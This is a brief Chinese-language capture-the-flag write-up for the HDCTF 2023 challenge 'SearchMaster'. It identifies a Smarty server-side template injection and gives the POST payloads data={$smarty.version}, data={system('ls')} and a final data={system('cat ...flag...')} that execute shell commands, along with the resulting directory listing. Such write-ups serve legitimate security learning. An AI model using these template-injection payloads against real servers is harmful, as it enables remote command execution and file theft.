[HDCTF 2023]SearchMaster

先扫描目录：

访问一下 /demo ，从报错信息中得知使用了 Smarty 模板，结合网站首页的提示：YOU CAN POST ME A DATA

用 POST 传值：data={$smarty.version} ：

得到版本号，也证实了首页使用的是 Smarty 模板

尝试是否存在 rce ：data={system('ls')} ，得到结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

composer.json
css
demo
docs
index.php
js
lexer
libs
templates_c
templates_c

省略过程……

最后的 payload ：data={system('cat ../../../flag_13_searchmaster')}